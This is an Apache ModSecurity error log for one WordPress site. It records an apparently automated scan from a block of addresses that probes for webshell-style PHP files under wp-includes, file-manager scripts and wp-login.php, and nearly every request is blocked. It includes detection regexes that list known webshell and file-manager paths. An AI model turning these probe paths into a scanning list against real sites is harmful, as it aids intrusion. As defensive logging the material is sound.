[Mon Feb 23 20:50:12.265672 2026] [:error] [pid 39540:tid 39581] [client 45.133.5.140:50791] [client 45.133.5.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/fonts/themes.php"] [unique_id "aZxNBLsgm9aTWhlRScK6AwAAAcw"]
[Mon Feb 23 20:50:13.538303 2026] [:error] [pid 39639:tid 39651] [client 45.133.5.145:59435] [client 45.133.5.145] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/certificates/index.php"] [unique_id "aZxNBRpFkMoMi8uTUUPZDgAAAkg"]
[Mon Feb 23 20:50:16.638315 2026] [:error] [pid 25380:tid 25388] [client 45.133.5.154:27831] [client 45.133.5.154] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/media/wp-login.php"] [unique_id "aZxNCKKrc8yFQ8fy78pDgwAAAMY"]
[Mon Feb 23 20:50:19.877277 2026] [:error] [pid 25294:tid 25366] [client 45.133.5.127:53797] [client 45.133.5.127] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/css/about.php"] [unique_id "aZxNCyRCFB3CqIo_jfbpOgAAAFA"]
[Mon Feb 23 20:50:24.282133 2026] [:error] [pid 39640:tid 39675] [client 45.133.5.120:20079] [client 45.133.5.120] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/certificates/wp-login.php"] [unique_id "aZxNENsK--eVCgzvvufhnQAAAoU"]
[Mon Feb 23 20:50:30.001652 2026] [:error] [pid 39504:tid 39511] [client 45.133.5.115:40739] [client 45.133.5.115] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/about.php"] [unique_id "aZxNFnLcHpOlI9gwwJodJQAAAUU"]
[Mon Feb 23 20:50:31.766025 2026] [:error] [pid 39540:tid 39583] [client 45.133.5.151:58769] [client 45.133.5.151] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/wp-class.php"] [unique_id "aZxNF7sgm9aTWhlRScK6EQAAAc4"]
[Mon Feb 23 20:50:53.562442 2026] [:error] [pid 39639:tid 39656] [client 45.133.5.144:34923] [client 45.133.5.144] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/html-api/chosen.php"] [unique_id "aZxNLRpFkMoMi8uTUUPZXAAAAk0"]
[Mon Feb 23 20:50:53.779157 2026] [:error] [pid 39540:tid 39569] [client 45.133.5.115:64267] [client 45.133.5.115] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "aZxNLbsgm9aTWhlRScK6FgAAAcA"]
[Mon Feb 23 20:50:53.997927 2026] [:error] [pid 39540:tid 39592] [client 45.133.5.118:53037] [client 45.133.5.118] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.133.5.118, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZxNLbsgm9aTWhlRScK6GAAAAdc"]
[Mon Feb 23 20:50:56.603652 2026] [:error] [pid 39540:tid 39591] [client 45.133.5.118:53037] [client 45.133.5.118] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/sitemaps/providers/index.php"] [unique_id "aZxNMLsgm9aTWhlRScK6HAAAAdY"]
[Mon Feb 23 20:50:59.801778 2026] [:error] [pid 25294:tid 25350] [client 45.133.5.142:23525] [client 45.133.5.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/Diff/Engine/index.php"] [unique_id "aZxNMyRCFB3CqIo_jfbpWgAAAEg"]
[Mon Feb 23 20:51:00.073594 2026] [:error] [pid 25380:tid 25395] [client 45.133.5.144:53975] [client 45.133.5.144] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/style-engine/index.php"] [unique_id "aZxNNKKrc8yFQ8fy78pDvAAAAM0"]
[Mon Feb 23 20:51:06.004661 2026] [:error] [pid 25380:tid 25398] [client 45.133.5.112:47047] [client 45.133.5.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aZxNOqKrc8yFQ8fy78pDyAAAANA"]
[Mon Feb 23 20:51:06.233265 2026] [:error] [pid 39639:tid 39662] [client 45.133.5.107:49763] [client 45.133.5.107] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/fm.php"] [unique_id "aZxNOhpFkMoMi8uTUUPZeAAAAlM"]
[Mon Feb 23 20:51:13.464426 2026] [:error] [pid 39540:tid 39577] [client 45.133.5.141:32637] [client 45.133.5.141] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/calendar/index.php"] [unique_id "aZxNQbsgm9aTWhlRScK6JgAAAcg"]
[Mon Feb 23 20:51:16.325564 2026] [proxy_fcgi:error] [pid 25294:tid 25331] [client 45.133.5.107:47443] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 20:51:17.823107 2026] [:error] [pid 25294:tid 25368] [client 45.133.5.107:47443] [client 45.133.5.107] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/function.php"] [unique_id "aZxNRSRCFB3CqIo_jfbpZAAAAFE"]
[Mon Feb 23 20:51:18.050769 2026] [:error] [pid 39540:tid 39573] [client 45.133.5.127:49011] [client 45.133.5.127] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/plugins.php"] [unique_id "aZxNRrsgm9aTWhlRScK6KgAAAcQ"]
[Mon Feb 23 20:51:21.326959 2026] [:error] [pid 39504:tid 39507] [client 45.133.5.128:23303] [client 45.133.5.128] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/css/chosen.php"] [unique_id "aZxNSXLcHpOlI9gwwJodMAAAAUE"]
[Mon Feb 23 20:51:21.576031 2026] [:error] [pid 25294:tid 25354] [client 45.133.5.135:36233] [client 45.133.5.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/Diff/Renderer/about.php"] [unique_id "aZxNSSRCFB3CqIo_jfbpZQAAAEo"]
[Mon Feb 23 20:51:31.002198 2026] [:error] [pid 25295:tid 25340] [client 45.133.5.109:36177] [client 45.133.5.109] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/atomlib.php"] [unique_id "aZxNU42Av4J1Jnqi7yLFIgAAAIk"]
[Mon Feb 23 20:51:31.222274 2026] [:error] [pid 39639:tid 39653] [client 45.133.5.114:38375] [client 45.133.5.114] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/rest-api/index.php"] [unique_id "aZxNUxpFkMoMi8uTUUPZmAAAAko"]
[Mon Feb 23 20:51:37.205402 2026] [:error] [pid 39639:tid 39659] [client 45.133.5.138:45767] [client 45.133.5.138] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/index.php"] [unique_id "aZxNWRpFkMoMi8uTUUPZpwAAAlA"]
[Mon Feb 23 20:51:37.437091 2026] [:error] [pid 25294:tid 25373] [client 45.133.5.150:20539] [client 45.133.5.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "aZxNWSRCFB3CqIo_jfbpZwAAAFQ"]
[Mon Feb 23 20:51:37.706849 2026] [:error] [pid 25380:tid 25400] [client 45.133.5.133:60745] [client 45.133.5.133] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "aZxNWaKrc8yFQ8fy78pD5wAAANI"]
[Mon Feb 23 20:51:46.353995 2026] [:error] [pid 25380:tid 25401] [client 45.133.5.127:33255] [client 45.133.5.127] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/Exception-wp.php"] [unique_id "aZxNYqKrc8yFQ8fy78pD_AAAANM"]
[Mon Feb 23 20:51:48.050894 2026] [:error] [pid 39640:tid 39676] [client 45.133.5.111:65183] [client 45.133.5.111] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/rest-api/autoload_classmap.php"] [unique_id "aZxNZNsK--eVCgzvvufhugAAAoY"]
[Mon Feb 23 20:51:56.153315 2026] [:error] [pid 39538:tid 39565] [client 45.133.5.119:40879] [client 45.133.5.119] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.133.5.119, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/js/wp-login.php"] [unique_id "aZxNbC4Zk8-cQOG3ZnpzhwAAAZc"]
[Mon Feb 23 20:52:04.285552 2026] [:error] [pid 39538:tid 39558] [client 45.133.5.119:40879] [client 45.133.5.119] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/bk/index.php"] [unique_id "aZxNdC4Zk8-cQOG3ZnpzjgAAAZA"]
[Mon Feb 23 20:52:04.507913 2026] [:error] [pid 39640:tid 39687] [client 45.133.5.153:20781] [client 45.133.5.153] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.133.5.153, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/wp-login.php"] [unique_id "aZxNdNsK--eVCgzvvufhwgAAApE"]
[Mon Feb 23 20:52:19.967815 2026] [proxy_fcgi:error] [pid 39640:tid 39687] [client 45.133.5.153:20781] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 20:52:40.231139 2026] [:error] [pid 39640:tid 39682] [client 45.133.5.153:20781] [client 45.133.5.153] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/about.php"] [unique_id "aZxNmNsK--eVCgzvvufiLQAAAow"]
[Mon Feb 23 20:52:44.665264 2026] [:error] [pid 39504:tid 39526] [client 45.133.5.128:28639] [client 45.133.5.128] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/fonts/autoload_classmap.php"] [unique_id "aZxNnHLcHpOlI9gwwJodTAAAAVQ"]
[Mon Feb 23 20:52:47.780355 2026] [:error] [pid 25380:tid 25404] [client 45.133.5.122:54945] [client 45.133.5.122] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/css/atomlib.php"] [unique_id "aZxNn6Krc8yFQ8fy78pEbwAAANY"]
[Mon Feb 23 20:53:00.079263 2026] [:error] [pid 39540:tid 39571] [client 45.133.5.152:34503] [client 45.133.5.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/sitemaps/autoload_classmap.php"] [unique_id "aZxNrLsgm9aTWhlRScK6lwAAAcI"]
[Mon Feb 23 20:53:03.251030 2026] [:error] [pid 29909:tid 29923] [client 45.133.5.124:35117] [client 45.133.5.124] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/about.php"] [unique_id "aZxNrz9oc2QzltksUk7egAAAAQw"]
[Mon Feb 23 20:53:05.032758 2026] [:error] [pid 25380:tid 25395] [client 45.133.5.138:21079] [client 45.133.5.138] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/sodium_compat/index.php"] [unique_id "aZxNsaKrc8yFQ8fy78pEiwAAAM0"]
[Mon Feb 23 20:53:10.902353 2026] [proxy_fcgi:error] [pid 39639:tid 39648] [client 45.133.5.145:44579] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 20:53:11.021337 2026] [proxy_fcgi:error] [pid 39639:tid 39651] [client 45.133.5.145:44579] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 20:53:11.131788 2026] [:error] [pid 39639:tid 39664] [client 45.133.5.145:44579] [client 45.133.5.145] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/autoload_classmap.php"] [unique_id "aZxNtxpFkMoMi8uTUUPbPAAAAlU"]
[Mon Feb 23 20:53:11.403861 2026] [:error] [pid 39538:tid 39548] [client 45.133.5.138:31459] [client 45.133.5.138] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/wp-conflg.php"] [unique_id "aZxNty4Zk8-cQOG3ZnpznQAAAYY"]
[Mon Feb 23 20:53:20.967665 2026] [:error] [pid 39640:tid 39692] [client 45.133.5.108:63257] [client 45.133.5.108] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/dist/default.php"] [unique_id "aZxNwNsK--eVCgzvvufiQQAAApY"]
[Mon Feb 23 20:53:22.790380 2026] [:error] [pid 39538:tid 39558] [client 45.133.5.138:42291] [client 45.133.5.138] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/tiny.php"] [unique_id "aZxNwi4Zk8-cQOG3ZnpzpgAAAZA"]
[Mon Feb 23 20:53:27.423363 2026] [:error] [pid 39639:tid 39655] [client 45.133.5.140:45559] [client 45.133.5.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/sodium_compat/src/index.php"] [unique_id "aZxNxxpFkMoMi8uTUUPbSgAAAkw"]
[Mon Feb 23 20:53:37.333291 2026] [:error] [pid 29909:tid 29930] [client 45.133.5.119:35075] [client 45.133.5.119] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/Parse/about.php"] [unique_id "aZxN0T9oc2QzltksUk7ejgAAARM"]
[Mon Feb 23 20:53:37.558056 2026] [proxy_fcgi:error] [pid 39639:tid 39658] [client 45.133.5.113:42695] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 20:53:40.741442 2026] [:error] [pid 39639:tid 39646] [client 45.133.5.113:42695] [client 45.133.5.113] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/wp-conflg.php"] [unique_id "aZxN1BpFkMoMi8uTUUPbVgAAAkM"]
[Mon Feb 23 20:53:47.922204 2026] [proxy_fcgi:error] [pid 25294:tid 25345] [client 45.133.5.145:29235] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 20:53:49.519917 2026] [:error] [pid 25294:tid 25331] [client 45.133.5.145:29235] [client 45.133.5.145] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.133.5.145, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/ocean/wp-login.php"] [unique_id "aZxN3SRCFB3CqIo_jfbqMwAAAEI"]
[Mon Feb 23 20:53:56.338055 2026] [:error] [pid 25294:tid 25343] [client 45.133.5.145:29235] [client 45.133.5.145] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/Cache/upfile.php"] [unique_id "aZxN5CRCFB3CqIo_jfbqOAAAAEU"]
[Mon Feb 23 20:53:58.255560 2026] [:error] [pid 39540:tid 39569] [client 45.133.5.139:60787] [client 45.133.5.139] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/tinymce/plugins/fullscreen/about.php"] [unique_id "aZxN5rsgm9aTWhlRScK62QAAAcA"]
[Mon Feb 23 20:54:03.023665 2026] [:error] [pid 39540:tid 39574] [client 45.133.5.111:37117] [client 45.133.5.111] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/class-wp-widget-search-function.php"] [unique_id "aZxN67sgm9aTWhlRScK65QAAAcU"]
[Mon Feb 23 20:54:08.760263 2026] [:error] [pid 39538:tid 39559] [client 45.133.5.133:38825] [client 45.133.5.133] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/Canonical.php"] [unique_id "aZxN8C4Zk8-cQOG3ZnpzxQAAAZE"]
[Mon Feb 23 20:54:10.650452 2026] [:error] [pid 39640:tid 39676] [client 45.133.5.115:58495] [client 45.133.5.115] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/certificates/autoload_classmap.php"] [unique_id "aZxN8tsK--eVCgzvvufiVAAAAoY"]
[Mon Feb 23 20:54:15.495613 2026] [:error] [pid 39504:tid 39506] [client 45.133.5.149:41505] [client 45.133.5.149] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/class-feed-index.php"] [unique_id "aZxN93LcHpOlI9gwwJodbAAAAUA"]
